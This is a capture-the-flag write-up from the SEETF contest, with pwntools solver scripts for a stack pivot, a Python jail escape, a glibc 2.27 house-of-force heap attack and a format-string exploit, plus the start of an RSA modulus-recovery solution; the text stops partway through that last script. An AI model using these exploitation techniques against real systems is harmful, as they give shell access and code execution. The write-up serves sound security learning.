During the weekend, I played this CTF with one of my school’s friend. We managed to solve some problems, so we will try to write how we solved some of the challenge.
Pwn
We will explain our solution for some challenges that we solved in the pwn category.
Easy Overflow
1
2
3
4
5
|
Author: Bob123
I did a check on my return address. Now you shouldn't be able to control my RIP.
nc fun.chall.seetf.sg 50003
|
Initial Analysis
We were given a binary file, Let’s try to disassemble it.
main function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
undefined8 main(void)
{
char local_28 [32];
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
puts("I will let you overflow me.");
vuln();
puts("I will give you one more chance.");
fgets(local_28,8,stdin);
puts(local_28);
return 0;
}
|
vuln function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void vuln(void)
{
long in_stack_00000000;
char local_28 [32];
gets(local_28);
if (in_stack_00000000 == 0x401212) {
puts("Good boi\n");
return;
}
puts("Naughty Boi\n");
/* WARNING: Subroutine does not return */
exit(-1);
}
|
win function
1
2
3
4
5
6
7
|
void win(void)
{
system("cat flag");
/* WARNING: Subroutine does not return */
exit(0);
}
|
Notice that on vuln method, there is a buffer overflow bug, because it used gets. However, there is a check where the return address must be 0x401212, which mean we aren’t allowed to modify the return address of the vuln method. And then after the vuln method, we were given one more chance to send our input, which will be stored in rbp-0x20.
Exploitation Plan
We can’t overwrite the return address, but we actually can overwrite the saved rbp, so that we can pivot the main function stack. The checksec result also indicate that we can do GOT overwrite.
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
So, our plan is to pivot the main stack (overwrite saved rbp) to GOT['puts']+0x20, so that when we send our second input, it will overwrite it with the win function.
Solution
Below is our full solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
elf = ELF('./easy_overflow')
r = remote('fun.chall.seetf.sg', 50003)
payload = b'a'*0x20+p64(elf.got['puts']+0x20)+p64(0x00000000401212)
print(payload)
r.sendlineafter(b'overflow me.\n', payload)
r.sendlineafter(b'more chance.\n', p64(elf.symbols['win']))
r.interactive()
|
Result
Flag: SEE{R1P_15_K1NG_RBP_15_QU33N_31cfc2f963517cd7e1b33b84a0e6bea2}
“as” “df”
1
2
3
4
5
|
Author: TheMythologist
Why use a python interpreter when there are online ones?
nc fun.chall.seetf.sg 50002
|
Solution
Let’s try to connect to the server, and turn out it is a python jail challenge. We tried to print(globals), and found out that there is the blacklist array
Notes that, + and whitespace is banned. The trick to bypass this is, we can actually concat a string without using +. Example: 'as''df' will be concatted by python to 'asdf'. To bypass the whitespace, we use \x20. And the full payload is below, where we use the help of getattr to import os.
1
|
print(getattr(getattr(globals()['__builtins__'],'__im''port__')('o''s'),'sys''tem')('cat\x20/fl*'))
|
Result
Flag: SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}
Hall Of Fame
1
2
3
4
5
|
Author: @L0uisJ0shua
It’s about drive, it’s about power, we stay hungry, we devour Put in the work, put in the hours and take what’s ours. Time to get to the Hall of Fame and be among the GOATS.
nc fun.chall.seetf.sg 50004
|
Initial Analysis
We were given a binary file and libc-2.27.so. Let’s try to disassemble the binary file.
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
int main(void)
{
int iVar1;
char *pcVar2;
size_t sVar3;
long in_FS_OFFSET;
int counter;
int o;
char *pty;
void *heap_pointer;
ulong size;
char *ptr;
char *chunk;
char option [3];
char score [64];
char word [100];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
counter = 0;
heap_pointer = sbrk(0);
setup_IO();
while( true ) {
while( true ) {
do {
print_statements(counter);
printf("Choose> ");
fflush(stdout);
pcVar2 = fgets(option,3,stdin);
} while (pcVar2 == (char *)0x0);
fflush(stdin);
sVar3 = strcspn(option,"\n");
option[sVar3] = '\0';
iVar1 = atoi(option);
if (iVar1 != 2) break;
printf("\nThe position of latest addition is at %p\n",heap_pointer);
printf("The position of PUTS is at %p\n",puts);
}
if (iVar1 == 3) break;
if (iVar1 == 1) {
printf("\nHow many points did this person score? > ");
fflush(stdout);
pcVar2 = fgets(score,0x40,stdin);
if (pcVar2 != (char *)0x0) {
fflush(stdin);
sVar3 = strcspn(score,"\n");
score[sVar3] = '\0';
size = strtol(score,&pty,10);
ptr = (char *)malloc(size);
chunk = ptr;
printf("\nWho is this Hall of Famer > ");
fflush(stdout);
fgets(word,100,stdin);
fflush(stdin);
*(undefined8 *)chunk = word._0_8_;
*(undefined8 *)(chunk + 8) = word._8_8_;
*(undefined8 *)(chunk + 0x10) = word._16_8_;
*(undefined8 *)(chunk + 0x18) = word._24_8_;
*(undefined8 *)(chunk + 0x20) = word._32_8_;
*(undefined8 *)(chunk + 0x28) = word._40_8_;
*(undefined8 *)(chunk + 0x30) = word._48_8_;
*(undefined8 *)(chunk + 0x38) = word._56_8_;
*(undefined8 *)(chunk + 0x40) = word._64_8_;
*(undefined8 *)(chunk + 0x48) = word._72_8_;
*(undefined8 *)(chunk + 0x50) = word._80_8_;
*(undefined8 *)(chunk + 0x58) = word._88_8_;
*(undefined4 *)(chunk + 0x60) = word._96_4_;
heap_pointer = ptr;
counter = counter + 1;
}
}
else {
puts("No choice Given!");
}
}
puts("Exiting software...");
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
|
print_statements
1
2
3
4
5
6
7
8
9
|
int print_statements(int counter)
{
puts("Welcome to the Hall of Fame!\n");
printf("Number of Hall Of Famers: %d\n",(ulong)(uint)counter);
puts("What brings you in here?\n");
puts("1) Add Hall of Famer\n2) View Position\n3) Exit");
return 0;
}
|
So the binary will call print_statements first to print the menu, where we can add, view and exit. Let’s take a look on the main method one-by-one:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
do {
print_statements(counter);
printf("Choose> ");
fflush(stdout);
pcVar2 = fgets(option,3,stdin);
} while (pcVar2 == (char *)0x0);
fflush(stdin);
sVar3 = strcspn(option,"\n");
option[sVar3] = '\0';
iVar1 = atoi(option);
if (iVar1 != 2) break;
printf("\nThe position of latest addition is at %p\n",heap_pointer);
printf("The position of PUTS is at %p\n",puts);
|
Okay, so the second menu turn out gave us a leak of the PUTS libc address and the heap address. This help us a lot, as we don’t need to leak the libc address at all.
Now, let’s check the first menu:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
if (iVar1 == 1) {
printf("\nHow many points did this person score? > ");
fflush(stdout);
pcVar2 = fgets(score,0x40,stdin);
if (pcVar2 != (char *)0x0) {
fflush(stdin);
sVar3 = strcspn(score,"\n");
score[sVar3] = '\0';
size = strtol(score,&pty,10);
ptr = (char *)malloc(size);
chunk = ptr;
printf("\nWho is this Hall of Famer > ");
fflush(stdout);
fgets(word,100,stdin);
fflush(stdin);
*(undefined8 *)chunk = word._0_8_;
*(undefined8 *)(chunk + 8) = word._8_8_;
*(undefined8 *)(chunk + 0x10) = word._16_8_;
*(undefined8 *)(chunk + 0x18) = word._24_8_;
*(undefined8 *)(chunk + 0x20) = word._32_8_;
*(undefined8 *)(chunk + 0x28) = word._40_8_;
*(undefined8 *)(chunk + 0x30) = word._48_8_;
*(undefined8 *)(chunk + 0x38) = word._56_8_;
*(undefined8 *)(chunk + 0x40) = word._64_8_;
*(undefined8 *)(chunk + 0x48) = word._72_8_;
*(undefined8 *)(chunk + 0x50) = word._80_8_;
*(undefined8 *)(chunk + 0x58) = word._88_8_;
*(undefined4 *)(chunk + 0x60) = word._96_4_;
heap_pointer = ptr;
counter = counter + 1;
}
}
|
Notice that we can basically control the malloc size (via score). And the bug is during getting the input for the malloc’s content. The input size is always 100 no matter what our malloc’s chunk size. This means that there is heap-overflow bug on the code.
However, notice that there isn’t any free feature, which mean we can only do malloc, and the previous chunk will be forgotten.
Exploitation Plan
So far, what we have gathered:
- We know the heap address and the libc base address
- We can control the malloc size
- There is heap-overflow bug (with constraint that the malloc chunk size is less than 100)
- There isn’t
free feature
- The libc file is glibc 2.27
We can use house of force attack to solve this challenge.
House of force is an attack, which is done by overflowing the heap’s wildernerss/top_chunk’s size into a large number, so that we can forge the malloc chunk address to address that we want. Refering to the phrack article, it requires three conditions:
- One overflow in a chunk that allows to overwrite the Wilderness.
- A call to “malloc()” with size field defined by designer.
- Another call to “malloc()” where data can be handled by designer.
To give some context, suppose that in the current heap, we have one chunk with size 0x20, usually the layout of heap is like below
1
2
3
4
5
6
7
8
9
10
11
12
13
|
...
| prev_size chunk |
|-----------------| <- 0x8 byte
| size chunk |
|-----------------| <- 0x8 byte
| data |
| |
|-----------------| <- 0x10 byte
|prev_sz top_chunk|
|-----------------| <- 0x8 byte
| size top_chunk |
|-----------------| <- 0x8 byte
...
|
So, on the given binary, if we allocate a size (score) less than 100, and we can allocate 100 bytes, that means we can overwrite the top_chunk size, which mean we have fulfilled the first condition.
And then, because we can call malloc as much as we can, and we can control the size, that means the second and third requirements are fulfilled also.
To understand better the idea behind it, this attack want to abuse this LOC in the malloc.c implementation inside glibc 2.27 method _int_malloc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
|
Reading through the source code of glibc malloc implementation, when we call malloc(size), it will try to check whether there is any entries in the heap bin first. If not, then it will try to use the top_chunk, which basically goes to the above code.
And then, the reason why we overwrite the chunk size with a large value (E.g. -1, which is 0xFFFFFFFFFFFFFFFF) is to ensure that if we do malloc(large_size), it will be guaranteed that the malloc will goes to the above LOC (it fulfilled this condition if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))), so that it won’t call mmap via sysmalloc (You can read the full source code in here).
Assume that we have overwite the top chunk size with 0xFFFFFFFFFFFFFFFF with the heap overflow that we found before.
Let’s move to the logic inside the conditional block to understand why we can pivot the malloc chunk to our desired address.
1
2
3
|
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
|
What is nb? Diving through the source code,
malloc-internal.h
1
2
3
4
5
6
|
#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif
/* The corresponding word size. */
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
|
malloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE (req)) { \
__set_errno (ENOMEM); \
return 0; \
} \
(sz) = request2size (req);
...
static void *
_int_malloc (mstate av, size_t bytes)
{
...
checked_request2size (bytes, nb);
...
}
|
Okay, so nb = input_size + 8. Basically, what it does is
- Calculate new
top_chunk size, which is curr_size - (input_size + 8)
- Calculate new
top_chunk address, which is top_chunk + (input_size + 8)
- Set is as the new
top_chunk by assigning it to av->top
Let’s check the next code
1
2
3
4
5
6
7
8
|
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
|
What it does is basically set the old top_chunk (victim) as the returned malloc chunk and also update the new top_chunk size by subtracting it.
Due to the previous overflow, we can calculate the correct malloc size to pivot the top_chunk to our desired address. Suppose that our desired address is x, then:
1
2
3
|
av->top = x = old_top_chunk + nb
x = old_top_chunk + input_size + 8
input_size = x - old_top_chunk - 8
|
So, if we call malloc(input_size), we will pivot the heap top_chunk to our desired address, and then when we call the next malloc, the chunk will point to our desired address, and we can overwrite its value.
Back to the code, remember that we got the leak address of the libc and the heap stack, which mean we can easily get the old_top_chunk address, and also we can easily calculate the offset of our targeted libc function.
Let’s checksec the given binary first.
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
|
The RELRO is Partial RELRO, which mean we can overwrite the GOT table. Now, let’s use one_gadget on the given libc,
1
2
3
4
5
6
7
8
9
10
11
12
|
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
|
Okay, because we already got the leaked libc base address, we can simply try to overwrite the GOT table with one of the result, so that we can get shell.
Gathering all of the knowledge, our general plan is:
- Use the first menu (Add Hall of Fame) with size < 0x20, and then overwrite the top_chunk size with 0xFFFFFFFFFFFFFFFF
- Use the second menu to leak the heap address and puts libc address, so that we can calculate the top_chunk address and shell_address that we got from one_gadget.
- Use the first menu to malloc with the calculated size, so that the top_chunk will point to our desired address
- Use the first menu again, to overwrite the GOT table with our shell address
Solution
In order to implement our plan, some key notes that we need to consider:
- Let say that we target to overwrite address
0x808080, then we need to pivot the top_chunk to 0x808080-0x10, because the first 0x10 space will be used to store the metadata.
- It’s okay to send negative value to the malloc size, as it will be converted to unsigned anyway.
- It’s better for us to just overwrite the whole GOT table (which mean our
desired_address should be smaller than the GOT first entry address), so that we don’t overwrite the GOT function with the top_chunk metadata (which can caused segfault during execution).
- Notes that the
one_gadget returned address has contstraint where the value of [rsp+0xXX] should be nil. This means that we might need to heuristically try one-by-one which GOT function fulfill the constraint, so that we can replace it with the one_gadget address.
During the CTF:
- We pivot the
top_chunk address to 0x602000, which is the start of GOT section.
- We found that replacing
fgets with the one_gadget fulfill the constraint. So, we carefully overwrite the GOT function which located before fgets with the correct address.
So, below is our full script to do that:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./hall_of_fame_patched")
libc = ELF("./libc-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r)
else:
r = remote("fun.chall.seetf.sg", 50004)
return r
def add(r, score, name):
r.sendlineafter(b'Choose> ', b'1')
r.sendlineafter(b'score? > ', score)
r.sendlineafter(b'Famer > ', name)
def view(r):
r.sendlineafter(b'Choose> ', b'2')
r.recvuntil(b'is at ')
heap_pointer = int(r.recvuntil(b'\n').strip(), 16)
r.recvuntil(b'is at ')
leaked_puts = int(r.recvuntil(b'\n').strip(), 16)
return heap_pointer, leaked_puts
r = conn()
# Overwrite top_chunk size with 0xFFFFFFFFFFFFFFFF
add(r, str(0x2).encode(), b'a'*0x10+p64(-1, signed=True)+p64(-1, signed=True))
# Get heap address and libc address
heap_pointer, leaked_puts = view(r)
log.info(f'Leaked heap: {hex(heap_pointer)}')
log.info(f'Leaked puts: {hex(leaked_puts)}')
# Calculate libc base address
libc.address = leaked_puts - libc.symbols['puts']
log.info(f'Libc base: {hex(libc.address)}')
# Calculate top chunk address
top = heap_pointer+0x18
log.info(f'Top Chunk: {hex(top)}')
# Calculate the correct malloc size, so that the top_chunk will point to 0x602000
num = 0x602000-top-0x8
log.info(f'Num: {num}')
# Call malloc, and after the call, top_chunk will point to 0x602000
add(r, str(num).encode(), p64(libc.address+0x10a2fc))
'''
Carefully craft payload to overwrite the GOT table,
so that only fgets got replaced with the one_gadget address
Notes that 0x602000 will contain the chunk metadata,
so when we next call malloc and fill its content, it
will start from 0x602010. So keep in mind that our
payload will start from 0x602010.
From observation in GDB, below is the GOT table structure
[0x602018] __stack_chk_fail@GLIBC_2.4 → 0x400716
[0x602020] printf@GLIBC_2.2.5 → 0x7ffff7a46e40
[0x602028] strcspn@GLIBC_2.2.5 → 0x400736
[0x602030] sbrk@GLIBC_2.2.5 → 0x7ffff7af8160
[0x602038] fgets@GLIBC_2.2.5 → 0x7ffff7a60ad0
'''
shell_addr = libc.address+0x10a2fc
payload = p64(0) # Safe to be replaced by any bytes as it isn't the first GOT table entry address
payload += p64(libc.symbols['__stack_chk_fail'])
payload += p64(libc.symbols['printf'])
payload += p64(libc.symbols['strcspn'])
payload += p64(libc.symbols['sbrk'])
payload += p64(shell_addr) # Overwrite fgets
# Call malloc, and overwrite it
add(r, str(10).encode(), payload)
# We got our shell
r.interactive()
|
Result
Flag: SEE{W3lc0mE_t0_th3_H4lL_0f_F4ME_0de280c6adb0f3da9f7ee5bd2057f8354969920c}
Pokemon Battle
1
2
3
4
5
|
Author: Neobeo
Gary wants to challenge you to a virtual battle. Be sure to choose your pokemon well! Here's an early leak of the game, but you should know that it's incomplete and there's currently no way to win.
nc fun.chall.seetf.sg 50005
|
Initial Analysis
We were given a binary file and the source code. Let’s check the source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
// g++ pokemonbattle.cpp -w -o pokemonbattle
#include <iostream>
struct {
char pokemon[13]; // longest pokemon name is 12 letters (Crabominable)
virtual void Battle() {
printf("Let the battle begin...\n");
// @todo: implement an actual battle
printf("Your pokemon was defeated. You blacked out!\n");
}
virtual void Play() {
printf("Choose a pokemon: ");
std::cin.getline(pokemon, sizeof pokemon);
printf(pokemon);
printf(", I choose you!\n");
Battle();
}
} battler;
int main() {
battler.Play();
}
void win() {
system("cat flag.txt");
}
|
Okay, so there is win function which we could use. Also notice that there is a format string bug in the Play() method, but the payload length limit is very small, which is 12.
I use GDB to have better understanding on how the binary works, and maybe found a way to send longer payload than 12, because 12 is not enough. So, first we try to set a breakpoint and inspect the GDB stack.
I try to check the address inside 0x00555555558150, and below is the result
Okay, so turn out, it is the battler object, which stored a pointer which point to the array of its internal method address pointer, and also the pokemon variable.
After trying the format string payload several times, we found:
%7$p will point to $rbp-8, which contains 0x00555555558150.
- If you are confused why the stack leak is in 7th parameter. Basically, in x64, if you call a function, the 6th first param will be passed via register (consecutively rdi, rsi, rdx, rcx, r8 r9), and the rest will be fetched from the stack. So, 1st is rsi, 2nd is rdx, 3rd is rcx, 4th is r8, 5th is r9, 6th is [rsp], and 7th is [rsp+8] or [rbp-8], which is the address that we got here.
%8$p will point to $rbp, which contain saved rbp value of the previous call stack, which is null, so we can’t do much on this value.
Exploitation Plan
Based on info that we gather before, we know that we can get the value inside 0x00555555558150, which contains 0x0000555555557d68, pointer to the Battle() method.
What if we increase the last byte by 8 by overwriting the last byte to 0x70 with payload %112c%7$hhn? If you don’t understand the payload, it means “overwrite the last byte of the value pointed by the 7-th param (which is the battler pointer to its array of pointers of the internal methods), with the total characters those have been printed (which is 112, %112c means print 112 whitespace)”.
That means, when the battler struct want to call Battle(), instead of calling Battle(), it will call the address that was pointed by 0x0000555555557d68+8, which is the Play() method. With this, the Play() method will recursively call the method itself, and basically, we have infinite loop and we can split our format string payload to multiple step.
Let’s try to do that, and inspect in the GDB on what the result is.
As you can see, our stack got shifted by 0x20, and as you can see, the rbp value points to the previous call stack rbp, which is not null anymore, and it contains our stack address.
To recap, now our call stack is
main -> Play() -> Play(). Another thing is, if during the second call of Play() we input the format string:
%8$p, it refers to the second call rbp address, which contains value of the first call rbp.%12$p, it refers to the first call rbp address, which is null.
Now, imagine that we continue the binary again, now our call stack will be main -> Play() -> Play() -> Play(), which mean if we input:
%8$p, it refers to the third call rbp address, which contains value of the second call rbp.%12$p, it refers to the second call rbp address, which contains value of the first call rbp, which is not nil.
So, after the third call, we now have a stack address (A) which contains pointer to a stack address (B), where B contains a stack address ( C ). Not only that, we also have a pointer that points to (B). With the format string bug, we can overwrite the value of B to point to our desired stack address (D). And after that, when we go to the fourth call, we can get what B points to (D), and with the format string bug, overwrite the value of (D) to our desired value. To give illustration, see below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
On the third call, we can use format string,
to get the 3rd-RBP value (which is 2nd-RBP),
and overwrite what its point (which currently
contains 1st-RBP, but soon will be overwritten
to target)
Third call stack
Before
Overwrite After Overwrite
2nd-RBP via Format String
3rd-RBP | 2nd-RBP | | 2nd-RBP |
target | xxxxxxxx | | xxxxxxxx |
| ... | -> | ... |
| ... | | ... |
2nd-RBP | 1st-RBP | | target | <- Now it points to target instead of 1st-RBP
------------------------------------------------------
On the fourth call, we can use format string,
to get the 2nd-RBP value (which is now target),
and overwrite what its point (which currently
contains xxxxxxxx, but soon will be overwritten
to xxxxxxxy).
Fourth call stack
Before
Overwrite After Overwrite
target via Format String
4th-RBP | 3rd-RBP | | 3rd-RBP |
| ... | | ... |
| ... | | ... |
| ... | | ... |
3rd-RBP | 2nd-RBP | | 2nd-RBP |
target | xxxxxxxx | | xxxxxxxy |
| ... | -> | ... |
| ... | | ... |
2nd-RBP | 1st-RBP | | target |
|
Based on the above illustration, our plan is:
- On the first call, we will overwrite the
battler struct value which contains the address that points to the array of the internal method pointers. We will shift it by 8 (overwrite the last byte from 0x68 to 0x70). After this, when battler call Battle(), it will call Play() instead, which resulted in infinite recursive of Play() calls.
- On the second call, we will leak the
rbp address of the first call via %8$p.
- On the third call, we will overwrite the second
rbp value to leak-0x20-0x20-0x20+8, which is the calculated address of the return address of the fourth call.
- On the fourth call, we will get the second
rbp value (which now points to the fourth call return address), and overwrite its return address with the win function.
- On the fifth call, we will overwrite the
battler value of the address to the array of internal method back to the beginning (overwrite the last byte from 0x70 to 0x68).
- After that, it will continue to the fourth call address, and then when the fourth call finished, it will return to win function instead of to the third call.
Solution
Notes that to implement our plan, we need to make sure that the last byte of the first leaked rbp is larger than 0x60, so that the second lsb won’t changed after we subtract it with 0x60. So, what we do is just re-connect to the server until the leaked rbp is > 0x60.
Below is our full script to implement the plan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
while True:
r = remote('fun.chall.seetf.sg', 50005)
r.sendlineafter(b'pokemon: ', b'%112c%7$hhn') # Overwrite battler stored pointer, so that Battle() will be redirected to Play()
r.sendlineafter(b'pokemon: ', b'%8$p') # Leak the stack address (precisely, the first RBP address)
out = r.recvuntil(b'\n')
leak = int(out.split(b',')[0][-2:], 16)
if leak > 0x60:
break
target = leak-0x20-0x20-0x20+8 # Our target is the (future) fourth RBP + 8 (fourth call saved return address)
payload = f'%{target}c%8$hhn'.encode() # Third call, we overwrite the 2nd-RBP value from first RBP to (future) fourth RBP + 8
r.sendlineafter(b'pokemon: ', payload)
payload = f'%{0xc6}c%16$hhn'.encode() # Fourth call, we get the 2nd-RBP (which is now points to fourth saved return address), and overwrite its last byte, so that it points to win()
r.sendlineafter(b'pokemon: ', payload)
payload = b'%104c%7$hhn' # Fifth call, fix the battler stored pointer, so that Battle() will call the real Battle()
r.sendlineafter(b'pokemon: ', payload)
flag = r.recvuntil(b'\n') # The fifth call will continue to fourth call, and the fourth call will return to win() instead to the third call
print(f'Flag: {flag.decode()}')
|
Result
Flag: SEE{did_you_choose_missingno_b6d3c6594dcc332c7e22d231d10b8b8b}
Crypto
We managed to solve two challs on this category
Lost Modulus
1
2
3
4
5
|
Author: coff33
I've hidden my flag as a modulus, I'm sure no one will be able to retrieve it.
nc fun.chall.seetf.sg 30004
|
Initial Analysis
We were given one file which is the code of the running server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
with open("flag.txt", "rb") as f:
FLAG = f.read()
n = bytes_to_long(FLAG)
#make sure i have a big modulus
while n.bit_length() < 2048:
n *= n
def encrypt(m1, m2):
e = getPrime(256)
assert m1.bit_length() >= 1600 and long_to_bytes(m1).startswith(b"SEE{"), 'first message must be at least 1600 bits and begin with "SEE{"'
assert 500 <= m2.bit_length() <= 600, 'second message must be within 500 to 600 bits'
return pow(m1, e, n), pow(m2, e, n)
def main():
try:
m1 = int(input("Message 1 (as integer) : ").strip())
m2 = int(input("Message 2 (as integer) : ").strip())
c1, c2 = encrypt(m1, m2)
print(f"\nCiphers: \n{[c1,c2]}")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
|
So, reading through the code, the goal is we need to retrieve $N$, where $N$ is the flag. And then the server will gave us chance to encrypt two message. $e$ is a 256-prime. There is constraint, where:
- First message bits >= 1600, and must start with
SEE{
- Second message bits range is 500-600 bits inclusive
The server will return both of the encryption result.
Exploitation Plan
We don’t know $e$ and $N$ value, and our task is to retrieve $N$. Suppose that we have message $m$, and $m_1=m^3$, $m_2=m$. Consider this equations.
$$
\begin{align}
\tag{1}
c_1 &\equiv m_1^{e} \mod N \\
c_1 &\equiv (m^3)^{e} \mod N \\
c_1 &= m^{3e} + k_1N \\
\end{align}
$$
where $k_1$ is unknown constant. Now, check out this equation.
$$
\begin{align*}
c_2 &\equiv m_2^{e} \mod N \\
c_2 &\equiv m^{e} \mod N \\
c_2 &= m^{e} + k_2N \\
\end{align*}
$$
Notice that if we cubed the $c_2$,
$$
\begin{align}
\tag{2}
(c_2)^3 &\equiv (m^{e})^3 \mod N \\
(c_2)^3 &\equiv m^{3e} \mod N \\
(c_2)^3 &= m^{3e} + k_2N \\
\end{align}
$$
we will get another equation, where $k_2$ is unknown constant. Notice that we can eliminate first and second equation to finally get the final equation
$$
\begin{align}
\tag{3}
(c_2)^3-c_1 = k_3N
\end{align}
$$
where $k3$ is unknown constant ($k2-k1$).
Notes that, we can connect to the server multiple times, and the $N$ will remain constant as it is the flag. So, we can retrieve multiple value of $kN$, and then we can simply $\gcd$ them to retrieve $N$, as their greatest shared common factor will be $N$.
Bypassing the constraint
Remember that we have constraints where the $m_1$ need to start with SEE{ and has >= 1600 bits and $m_2$ bits need to be inclusively in range 500-600 bits. The trick is:
- We can generate any string start with
SEE{ and the bit length is ~1650-1655 bits.
- Cube root it and ceil it. Use this as the $m_2$ value. It should be around ~555 bits, which fulfilled our constraint.
- And then we can simply cubed it again, so that we can get a value, which is cubed and start with
SEE{.
Solution
Below is the script (sage) that we used to solve the chall. Notes that after retrieving the $N$, we need to recursively square root the value until the flag is shown, because the server is multiplying the $N$ with itself until the bit length is >= 2048 bits. Base is the floating number of string SEE{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.
What we do is trying to retrieve 3 values of $kN$ from the server, where the base got increased by 100 everytime we connect to the server (You can actually choose any number as long as the resulted string still start with SEE{).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
ciphers = []
